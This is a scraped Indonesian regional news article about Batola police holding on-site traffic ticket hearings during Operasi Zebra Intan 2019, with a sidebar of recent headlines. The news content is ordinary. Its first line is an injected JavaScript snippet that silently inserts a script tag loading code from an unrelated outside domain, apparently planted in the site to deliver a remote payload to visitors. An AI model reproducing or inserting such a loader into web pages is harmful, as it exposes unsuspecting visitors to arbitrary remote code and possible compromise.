(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jelang Hari Akhir Operasi Zebra Intan 2019, 40 Pengendara Di Batola Langsung Sidang Di Tempat


MARABAHAN, Mendekati hari terakhir Operasi Zebra Intan 2019, Satlantas Polres Batola gencar laksanakan sidang tilang di tempat bagi para pengendara yang melanggar peraturan lalulintas, Senin (4/11).

Berkerjasama dengan Pengadilan Negeri (PN) Marabahan dan Kejaksaan Batola, Satlantas Polres Batola gelar sidang tilang di tempat. Ratusan pengendara yang terlihar melintas di perempatan Handel Serapat, Jalan Trans Kalimantan Handel Bakti, tidak luput dari pemeriksaan anggota Satlantas Polres Batola.

Sekitar dua jam melakukan pemeriksaan roda dua dan empat, puluhan pengendara, berhasil diamankan dengan pelanggaran yang bervariasi.  “Pada giat gabungan ini, terdapat 51 pengendara yang terkena tilang,” ujar Kasat Lantas Polres Batola AKP Faisal Amri Nasution.

Faisal menambahkan, dari 51 pengendara yang terkena tilang, hanya sekitar 40 pelanggaran yang berhasil disidang di tempat. Sebagian dari mereka tidak bisa mengikuti tilang ditempat dikarenakan tidak mempunyai uang denda. “Mereka yang tidak bisa membayar uang denda tilang, bisa mengikuti sidang di marabahan nantinya,” ujarnya.

Faisal mengungkapkan, sidang tilang ditempat bagi pengendara, sangat bermanfaat. Proses tilang berjalan cepat. Pengendara motor yang ditilang, setelah mendapat vonis dari Hakim, bisa langsung membayar biaya denda tilang kepada pihak Kejaksaan. “Setelah bayar denda, sepeda motor atau mobil yang ditilang bisa dibawa pulang,” katanya.

Sementara itu, Zainul Hakim Zainuddin, Hakim dari Pengadilan Negeri Marabahan yang menjadi Hakim Ketua pada sidang cepat ini, mengaku menjatuhkan vonis sesuai undang-undang lalulintas. Dengan berbagai pertimbangan yang ada. “Sesuai undang-undang, paling banyak, denda yang bisa dijatuhkan Rp1 juta,” Katanya. (Rendy)

Reporter : Rendy
Editor : Chell

 


Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

5 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

6 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

6 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

7 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

11 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

12 jam ago

This website uses cookies.